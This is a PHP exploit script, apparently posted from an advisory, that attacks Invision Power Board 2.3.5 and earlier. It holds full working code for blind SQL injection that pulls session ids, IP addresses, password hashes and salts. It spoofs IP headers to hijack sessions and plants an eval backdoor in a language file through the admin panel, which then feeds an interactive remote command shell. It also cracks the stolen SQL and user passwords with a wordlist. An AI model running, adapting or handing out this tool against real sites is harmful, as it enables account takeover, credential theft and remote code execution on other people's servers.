#!/usr/bin/php -q

<?php

# This file requires the PhpSploit class.

# If you want to use this class, the latest

# version can be downloaded from acid-root.new.fr.

##################################################

error_reporting(E_ALL ^ E_NOTICE);

require('phpsploitclass.php');

# yeah ... it rox (:

class ipb_spl

{

var $web;

function main()

{

$this->mhead();

# Gimme your args

$this->p_attack = $this->get_p('attack', true);

$this->p_prox = $this->get_p('proxhost');

$this->p_proxa = $this->get_p('proxauth');

$this->init_global();

# Proxy params

if( $this->p_prox )

{

$this->web->proxy($this->p_prox);

if( $this->p_proxa )

$this->web->proxyauth($this->p_proxa);

}

# Where do we go ?

switch( $this->p_attack )

{

case 1: $this->code_exec(); break;

case 2; $this->bf_sql_pwd(); break;

case 3: $this->bf_usr_pwd(); break;

default: $this->usage();

}

return;

}

function code_exec($loop=1)

{

# First loop

if( $loop == 1 )

{

$this->set_sql_param();

$this->set_sql_focus();

$this->p_acp = $this->get_p('acp');

# ACP path

if( !$this->p_acp )

{

# If the user changed the ACP directory, we can

# find it (if the "Remove ACP Link" option was not

# applied) by log in as an Admin, and then click

# on "Admin CP". This can be done with a user

# but I didn't implemented that ;)

$this->msg('Using default ACP path: admin', 1);

$this->p_acp = 'admin';

}

else

$this->msg('Using ACP path "'.$this->p_acp.'"', 1);

# Init client headers:

# Only if we have the same IP as the targeted user (not admin),

# it resets session datas, so we try to spoof our

# IP as a random one in order to keep user's session datas while

# we bruteforce SQL fields.

$this->bypass_matches();

# Remove expired sessions ( time() - 60*60*2 = > 2 hours )

$this->web->get($this->p_url.$this->p_acp.'/index.php?');

$this->msg('Removed all out of date admin sessions', 1);

# Cookie prefix

$this->get_cprefix();

}

# Admin session ?

$this->msg('Trying to find an admin session id', 0);

# Got one :]

if( $this->get_admin_sess() )

{

$this->s_admin = true;

$this->s_sess = $this->data['a_sess_id'];

$this->a_url = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;

}

# Nothing special

else

{

$this->s_admin = false;

$this->msg('No admin session id found', -1);

}

# User session ?

if( !$this->s_sess )

{

$this->msg('Trying to find a user session id', 0);

# Yep

if( $this->get_user_sess() )

$this->s_sess = $this->data['u_sess_id'];

# F0ck

else

{

$this->msg('No user session id found', -1);

$this->msg('Admin session > 2 hours or user logged out', 0);

$this->msg('Keeping trying until the user connects', 0);

$this->msg('Entering loop #'.$loop.' ...', 0);

$this->code_exec(++$loop);

}

}

$this->msg('Getting security options', 0);

# Security options

$this->get_sec_options();

# IP filter ?

if( $this->conf['ip'] === '1' )

{

$this->s_bypass = true;

$this->msg('IP filter option is turned on', 0);

# Spoofing protection ?

if( !$this->conf['xforward'] )

{

# Assuming our IP isn't the same etc..

$this->msg('Can\'t bypass the IP filter', -1);

exit(1);

}

# X-Forwarded-For / Client-IP /

# Proxy-User / X-Cluster-Client-IP

else

{

$this->msg('Cool, we can spoof our IP (Client-IP)', 1);

if( $this->s_admin )

{

$this->msg('Trying to find admin\'s last IP', 0);

# Admin IP found

$this->get_admin_ip();

$this->s_ip = $this->data['a_ip_addr'];

}

else

{

$this->s_admin = false;

$this->msg('Trying to find user\'s last used IP', 0);

# User IP found

$this->get_user_ip();

$this->s_ip = $this->data['u_ip_addr'];

}

# Nothing found

if( !$this->s_ip )

{

# Ahah (:

$this->msg('No IP found for this user', -1);

$this->give_hope();

}

# Got one !

else

$this->msg('Ok, using IP '.$this->s_ip, 1);

}

}

# User-Agent filter ?

if( $this->conf['browser'] === '1' && !$this->s_admin )

{

$this->s_bypass = true;

$this->msg('Trying to find a valid user-agent', 0);

# Good

if( $this->get_user_agent() )

{

$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);

$this->s_agent = $this->data['u_agent'];

}

# WTF :!

else

{

$this->msg('No user-agent found for this user', -1);

$this->msg('Maybe the browser didn\'t send this header', 0);

$this->s_agent = '';

}

}

# Cool !?

if( !$this->s_bypass )

$this->msg('Cool, nothing to bypass', 1);

$this->msg('Trying to log in', 0);

# Owned =]

if( $this->is_logged() )

{

# PHP code

if( $this->s_admin )

{

$this->msg('Logged in with an admin session', 1);

$this->exec_code();

}

# Normal user ?

else

{

$this->msg('Logged in with a user session', 1);

$this->msg('You can log in using the cookie session_id', 1);

if( $this->s_ip !== $this->def_ip )

$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);

if( $this->s_agent )

$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);

exit(0);

}

}

else

{

# Even if the admin logged out .. the admin session

# is still valid ;)

$this->msg('Can\'t log in, the session has expired ?!', -1);

$this->give_hope();

}

return;

}

function bf_sql_pwd()

{

$this->p_ip = $this->get_p('ip', true);

$this->p_dict = $this->get_p('dict', true);

$this->p_sql_u = $this->get_p('sqlusr');

$this->p_url = $this->get_p('url');

$this->p_uname = $this->get_p('uname');

$this->p_pwd = $this->get_p('pwd');

// or

$this->p_uid = $this->get_p('uid');

$this->p_hash = $this->get_p('passhash');

$this->p_shold = $this->get_p('stronghold');

if( $this->p_uname && $this->p_pwd && $this->p_url )

{

$this->get_cprefix();

$this->msg('Trying to get some cookies', 0);

$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';

$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';

$this->web->post($this->p_url.$g_dat, $p_dat);

$this->p_uid = $this->web->cookie[$this->s_cprefix.'member_id'];

$this->p_hash = $this->web->cookie[$this->s_cprefix.'pass_hash'];

$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];

}

elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )

$this->usage();

if( !$this->p_uid || !$this->p_hash || !$this->p_shold )

{

$this->msg('Can\'t get cookies', -1);

$this->msg('You should try with other parameters', -1);

exit(1);

}

$this->msg('Ok, using cookies:', 1);

$this->msg('member_id='.$this->p_uid, 1);

$this->msg('pass_hash='.$this->p_hash, 1);

$this->msg('ipb_stronghold='.$this->p_shold, 1);

if( !$this->p_sql_u )

{

$this->set_sql_param();

$this->msg('Trying to get the current sql user', 0);

if( !$this->get_sql_user() )

{

$this->msg('Can\'t get the sql user', -1);

$this->msg('If you know the sql user, use -sqlusr', -1);

exit(1);

}

else

$this->p_sql_u = $this->data['sql_user'];

}

$this->msg('Ok, using sql user '.$this->p_sql_u, 1);

$dico_c = file($this->p_dict);

$ip_a = explode('.', $this->p_ip);

$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);

$this->msg('You should take a drink ...', 0);

foreach( $dico_c as $line )

{

$md5 = md5(trim($line).$this->p_sql_u);

$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;

$md5 = md5($md5);

if( $this->p_shold === $md5 )

{

$this->msg('Found something cool =]', 1);

$this->msg('SQL password: '.$line, 1);

exit(1);

}

}

$this->msg('End of the wordlist, password not found', -1);

return;

}

function bf_usr_pwd()

{

$this->p_dict = $this->get_p('dict', true);

$this->p_hash = $this->get_p('passhash');

$this->p_salt = $this->get_p('salt');

if( !$this->p_hash || !$this->p_salt )

{

$this->set_sql_param();

$this->set_sql_focus();

}

if( !$this->p_hash )

{

$this->msg('Trying to get the password hash', 0);

if( !$this->get_pass_hash() )

{

$this->msg('Can\'t get the password hash', -1);

exit(1);

}

else

$this->p_hash = $this->data['pass_hash'];

}

$this->msg('Ok, using hash '.$this->p_hash, 1);

if( !$this->p_salt )

{

$this->msg('Trying to get the password salt', 0);

if( !$this->get_pass_salt() )

{

$this->msg('Can\'t get the password salt', -1);

exit(1);

}

else

$this->p_salt = $this->data['pass_salt'];

}

$this->msg('Ok, using salt '.$this->p_salt, 1);

$dico_c = file($this->p_dict);

$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);

$this->msg('You should take a drink ...', 0);

foreach( $dico_c as $line )

{

if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )

{

$this->msg('Found something cool =]', 1);

$this->msg('User password: '.$line, 1);

exit(1);

}

}

$this->msg('End of the wordlist, password not found', -1);

return;

}

function set_sql_param()

{

$this->p_url = $this->get_p('url', true);

$this->p_pre = $this->get_p('prefix');

# Table prefix

if( !$this->p_pre )

{

# Default table prefix if not precised

$this->msg('Using default table prefix: ibf_', 1);

$this->p_pre = 'ibf_';

}

else

$this->msg('Using table prefix '.$this->p_pre, 1);

}

function set_sql_focus()

{

$this->p_uname = $this->get_p('uname');

$this->p_uid = $this->get_p('uid');

if( $this->p_uname )

$this->msg('Using targeted username '.$this->p_uname, 1);

elseif( $this->p_uid )

$this->msg('Using targeted user id '.$this->p_uid, 1);

# Target

if( !($this->p_uname || $this->p_uid) )

{

# Default uid if not precised

$this->msg('Using default user id: 1', 1);

$this->p_uid = 1;

}

# Focus on ?

if( $this->p_uname )

$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';

else

$this->t_on = 'id='.(int)$this->p_uid;

return;

}

function exec_code()

{

$this->write_code();

while( $this->cmd_prompt() )

{

$this->web->addheader('My-Code', $this->cmd);

$this->web->get($this->p_url);

print "\n".$this->get_answer();

}

exit(0);

}

function get_answer()

{

$res_a = explode($this->res_sep, $this->web->getcontent());

if( !$res_a[1] )

return 'No result to retrieve';

else

return $res_a[1];

}

function cmd_prompt()

{

$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);

if( !ereg('^(quit|exit)$', $this->cmd) )

{

$this->cmd = base64_encode($this->cmd);

$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);

return TRUE;

}

else

return FALSE;

}

function write_code()

{

# Gimme the language ID

$this->get_def_lang();

# Current lang settings

$p_dat =

'code=edit2&act=lang&id='.$this->g_lid.'&section'.

'=lookandfeel&lang_file=lang_boards.php';

$this->web->post($this->a_url, $p_dat);

# We collect each variable name / value

if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )

{

# POST data

$p_dat =

'code=doedit&act=lang&id='.$this->g_lid.

'&lang_file=lang_boards.php&section=lo'.

'okandfeel&';

# &Name=Value

for( $i=0; $i<count($l_vars[0]); $i++ )

{

$p_dat .=

'&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);

# We write our PHP code in the first variable

if( $i == 0 )

$p_dat .= $this->php_write;

}

# Go on

$this->web->post($this->a_url, $p_dat);

$this->msg('PHP code written', 1);

}

else

{

# WTF :!

$this->msg('Can\'t find block variables', 0);

exit(1);

}

return;

}

function get_def_lang()

{

$this->msg('Trying to get the set language id', 0);

$this->web->get($this->a_url.'&section=lookandfeel&act=lang');

if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )

{

$this->g_lid = $lids[1];

$this->msg('Using language id '.$this->g_lid, 1);

}

else

{

$this->msg('Can\'t get the default language id', -1);

exit(1);

}

return;

}

function is_logged()

{

$this->bypass_matches();

# User session ok ?

if( !$this->s_admin )

{

$match = 'act=Login&CODE=03';

$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);

$this->web->get($this->p_url);

}

# Admin session ok ?

else

{

$match = '&section=';

$this->web->get($this->a_url);

}

if( preg_match("/$match/i", $this->web->getcontent()) )

return true;

else

return false;

}

function bypass_matches()

{

# match_browser

$this->web->agent($this->s_agent);

# match_ipaddress

$this->web->addheader('Client-IP', $this->s_ip);

return;

}

function get_cprefix()

{

$this->msg('Trying to get the cookie prefix', 0);

# Set-Cookie: session_id=...; path=/

$this->web->get($this->p_url);

$this->s_cprefix = '';

if( $this->web->cookie )

{

foreach( $this->web->cookie as $name => $value)

{

if( preg_match($this->reg_cpre, $name, $cmatches) )

{

$this->s_cprefix = $cmatches[1];

break;

}

}

}

if( !$this->s_cprefix )

$this->msg('No cookie prefix set', 1);

else

$this->msg('Using cookie prefix '.$this->s_cprefix, 1);

return;

}

function get_sec_options()

{

# If no value, take the default one

$this->get_conf('t.conf_value');

$this->get_conf('t.conf_default');

return;

}

function get_conf($field)

{

$this->init_sql();

$this->t_table = 'conf_settings';

$this->t_field = $field;

$this->t_char = $this->chr_num;

$this->t_add_0 = "AND t.conf_key='match_browser'";

if( $this->conf['browser'] === '' )

$this->conf['browser'] = $this->bf_inj();

$this->t_add_0 = "AND t.conf_key='match_ipaddress'";

if( $this->conf['ip'] === '' )

$this->conf['ip'] = $this->bf_inj();

$this->t_add_0 = "AND t.conf_key='xforward_matching'";

if( $this->conf['xforward'] === '' )

$this->conf['xforward'] = $this->bf_inj();

return;

}

function get_login_key()

{

$this->init_sql();

$this->t_key = 'login_key';

$this->t_table = 'members';

$this->t_field = 't.member_login_key';

$this->t_join = 't.id=m.id';

$this->t_char = $this->chr_md5;

$this->data['login_key'] = $this->bf_inj();

return $this->key_val;

}

function get_sql_user()

{

$this->init_sql();

$this->t_key = 'user()';

$this->t_table = 'members';

$this->t_field = 'user()';

$this->t_char = $this->chr_all;

$this->t_end = '@';

$this->data['sql_user'] = $this->bf_inj();

return $this->key_val;

}

function get_pass_hash()

{

$this->init_sql();

$this->t_key = 'pass_hash';

$this->t_table = 'members_converge';

$this->t_field = 't.converge_pass_hash';

$this->t_join = 't.converge_email=m.email';

$this->t_char = $this->chr_md5;

$this->data['pass_hash'] = $this->bf_inj();

return $this->key_val;

}

function get_pass_salt()

{

$this->init_sql();

$this->t_key = 'pass_salt';

$this->t_table = 'members_converge';

$this->t_field = 't.converge_pass_salt';

$this->t_join = 't.converge_email=m.email';

$this->t_char = $this->chr_all;

$this->data['pass_salt'] = $this->bf_inj();

return $this->key_val;

}

function get_admin_sess()

{

$this->init_sql();

$this->t_key = 'admin_sid';

$this->t_table = 'admin_sessions';

$this->t_field = 't.session_id';

$this->t_join = 't.session_member_id=m.id';

$this->t_sel = 't.session_log_in_time';

$this->t_char = $this->chr_md5;

$this->data['a_sess_id'] = $this->bf_inj();

return $this->key_val;

}

function get_admin_ip()

{

$this->init_sql();

$this->t_key = 'admin_ip';

$this->t_table = 'admin_sessions';

$this->t_field = 't.session_ip_address';

$this->t_join = 't.session_member_id=m.id';

$this->t_sel = 't.session_log_in_time';

$this->t_char = $this->chr_ip;

$this->data['a_ip_addr'] = $this->bf_inj();

return $this->key_val;

}

function get_admin_pwd()

{

$this->init_sql();

$this->t_key = 'admin_pwd';

$this->t_table = 'admin_login_logs';

$this->t_field = 't.admin_post_details';

$this->t_join = 't.admin_username=m.members_l_username';

$this->t_sel = 't.admin_id';

$this->t_end = '"';

$this->t_bchar = -4; # ";}}

$this->t_char = $this->chr_all;

$this->data['a_pwd_like']= $this->bf_inj();

return $this->key_val;

}

function get_user_sess()

{

$this->init_sql();

$this->t_key = 'user_sid';

$this->t_table = 'sessions';

$this->t_field = 't.id';

$this->t_join = 't.member_id=m.id';

$this->t_sel = 't.running_time';

$this->t_char = $this->chr_md5;

$this->data['u_sess_id'] = $this->bf_inj();

return $this->key_val;

}

function get_user_ip()

{

$this->init_sql();

$this->t_key = 'user_ip';

$this->t_table = 'sessions';

$this->t_field = 't.ip_address';

$this->t_join = 't.member_id=m.id';

$this->t_sel = 't.running_time';

$this->t_char = $this->chr_ip;

$this->data['u_ip_addr'] = $this->bf_inj();

return $this->key_val;

}

function get_user_agent()

{

$this->init_sql();

$this->t_key = 'user_agent';

$this->t_table = 'sessions';

$this->t_field = 't.browser';

$this->t_join = 't.member_id=m.id';

$this->t_sel = 't.running_time';

$this->t_char = $this->chr_all;

$this->data['u_agent'] = $this->bf_inj();

return $this->key_val;

}

function init_sql()

{

# SQL Injection params

$this->t_end = null;

$this->t_add_0 = '';

$this->t_add_1 = '';

$this->t_sel = '1';

$this->t_bchar = 0;

$this->t_join = '';

$this->t_key = '';

$this->t_add_1 = 'ORDER BY id DESC LIMIT 1';

return;

}

function init_global()

{

# Charsets

$this->chr_spe = str_split(' :/;*(-.!,?§*µù%$£^¨=+})°]àç^_\\`è|[\'{#é~&²"@');

$this->chr_num = range(0, 9);

$this->chr_md5 = array_merge( $this->chr_num, range('a', 'f') );

$this->chr_ip = array_merge( $this->chr_num, array('.') );

$this->chr_all = array_merge( $this->chr_num, range('a', 'z') );

$this->chr_all = array_merge( range('A', 'Z'), $this->chr_all, $this->chr_spe );

# SQL Injection

$this->def_param = 'index.php?s=&act=xmlout&do=check-display-name&name=%rep_inj%';

$this->def_inj = "' OR 1=\"'\" UNION %rep_req% OR 1=\"'\" %rep_add% #";

# Results

$this->data = array();

$this->conf = array('ip' => '', 'browser' => '', 'xforward' => '');

# Misc

$this->stat = array(-1 => '-', 0 => '/', 1 => '+');

$this->s_bypass = false;

$this->res_sep = md5(rand());

$this->def_ip = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);

# PHP Code

$this->php_write = '${${@eval($_SERVER[HTTP_MY_CODE])}}';

$this->php_send = "print('$this->res_sep');@system(base64_decode('%CMD%'));";

$this->php_send .= "print('$this->res_sep');exit(0);";

# Regex

$this->reg_lang = '#</span></td>[\r\n]*.*[\r\n]*.*code=export&id=([0-9]+)#i';

$this->reg_lvar = "#id='XX_([\w]+)'[\x20]+class='multitext'>(.*)</textarea></td>#i";

$this->reg_cpre = '#^(.*)session_id$#';

# $this->reg_acp = '#<a href="(.*)"[\x20]+target="_blank"#i';

# Default client headers

$this->s_agent = 'Mozilla Firefox';

$this->s_ip = $this->def_ip;

return;

}

function bf_inj()

{

$this->sub_chr = $this->t_bchar;

$this->key_val = '';

if( !empty($this->t_key) )

$this->msg('', 0);

while( true )

{

if( $this->t_bchar < 0 )

$this->sub_chr--;

else

$this->sub_chr++;

# 0-9a-f

for( $j=0;$j<=count($this->t_char);$j++ )

{

# That one ?

$chr = $this->t_char[$j];

# Latest char ?

if( $j === count($this->t_char) )

$chr = $this->t_end;

# Ascii num

$asc = ord($chr);

# Screen bug

if( !empty($this->t_key) )

{

$msg = $this->t_key.'='.$this->key_val;

$msg .= ($chr === $this->t_end ? "\x20" : $chr);

$this->msg($msg, 0, 1, 1);

}

# Focus on the target ?

if( !empty($this->t_join) )

{

$inj =

'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.

' t, '.$this->p_pre.'members m WHERE '.$this->t_join.

' AND m.'.$this->t_on.' AND ASCII(SUBSTR('.$this->t_field.

','.$this->sub_chr.',1))='.$asc.' '.$this->t_add_0;

}

else

{

$inj =

'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.

' t WHERE ASCII(SUBSTR('.$this->t_field.','.$this->sub_chr.

',1))='.$asc.' '.$this->t_add_0;

}

# SQL Injection via rawurldecode()

$inj = str_replace('%rep_req%', $inj, $this->def_inj);

$inj = str_replace('%rep_add%', $this->t_add_1, $inj);

$inj = str_replace(array('"', "'"), array('%2522', '%2527'), $inj);

# Params

$inj = str_replace('%rep_inj%', $inj, $this->def_param);

$inj = str_replace(array(' ', '#'), array('%20', '%23'), $inj);

$this->web->get($this->p_url.$inj);

# Ok !?

if( !strstr($this->web->getcontent(), 'notfound') )

{

if( $chr !== $this->t_end )

{

$this->key_val .= $chr;

break;

}

}

# End

if( $chr === $this->t_end )

{

# Reverse

if( $this->t_bchar < 0 )

$this->key_val = strrev($this->key_val);

if( !empty($this->t_key) )

$this->msg($this->t_key.'='.$this->key_val, 1, 1, 1);

return $this->key_val;

}

}

}

}

function get_p($p, $exit=false)

{

global $argv;

foreach( $argv as $key => $value )

{

if( $value === '-'.$p )

{

if( isset($argv[$key+1]) && !empty($argv[$key+1]) )

{

return $argv[$key+1];

}

else

{

if( $exit )

$this->usage();

return true;

}

}

}

if( $exit )

$this->usage();

return false;

}

function msg($msg, $nstatus, $nspace=1, $ndel=0, $ask=false)

{

if( $ndel ) $type = "\r";

else $type = "\n";

# wtf (:

print

(

$type.str_repeat("\x20", $nspace).

$this->stat[$nstatus]."\x20".$msg

);

if( $ask )

return trim(fgets(STDIN));

}

function give_hope()

{

$this->msg('You should try with another user or try another time', -1);

exit(1);

}

function mhead()

{

# Advisory: http://acid-root.new.fr/?0:18

print "\n Invision Power Board <= 2.3.5 Multiple Vulnerabilities";

print "\n ------------------------------------------------------";

print "\n\n About:";

print "\n\n by DarkFig < gmdarkfig (at) gmail (dot) com >";

print "\n http://acid-root.new.fr/";

print "\n #acidroot (at) irc.worldnet (dot) net [email concealed]";

print "\n\n\n Attack(s):\n";

return;

}

function usage()

{

print "\n -attack <int_choice> <params> [options]\n\n";

print " 1 - PHP code execution\n\n";

print " -url IPB url with ending slash\n\n";

print " -uname targeted username\n";

print " -uid OR the targeted user id (def: 1)\n\n";

print " -prefix sql table prefix (def: ibf_)\n";

print " -acp admin control panel path (def: admin)\n\n\n";

print " 2 - Insecure SQL password usage\n\n";

print " -ip your current IP\n";

print " -dict a wordlist file\n\n";

print " -url IPB url with ending slash\n";

print " -uname a valid member username\n";

print " -pwd the associated password\n\n";

print " -uid OR the targeted member id\n";

print " -passhash the passhash cookie value\n";

print " -stronghold the stronghold cookie value\n\n";

print " -sqlusr you can precise the sql user\n";

print " -prefix sql table prefix (def: ibf_)\n\n\n";

print " 3 - Password bruteforcer\n\n";

print " -dict a wordlist file\n\n";

print " -url IPB url with ending slash\n";

print " -uname targeted username\n";

print " -uid OR the targeted user id (def: 1)\n";

print " -prefix sql table prefix (def: ibf_)\n\n";

print " -passhash OR the passhash value\n";

print " -salt the salt value\n\n\n";

print " Optional: \n\n";

print " -proxhost <ip> if you wanna use a proxy\n";

print " -proxauth <usr:pwd> proxy with authentication\n";

exit(1);

}

}

$web = new phpsploit;

$web->cookiejar(1);

$web->agent('Mozilla Firefox');

$ipb = new ipb_spl;

$ipb->web =& $web;

$ipb->main();

?>

[ reply ]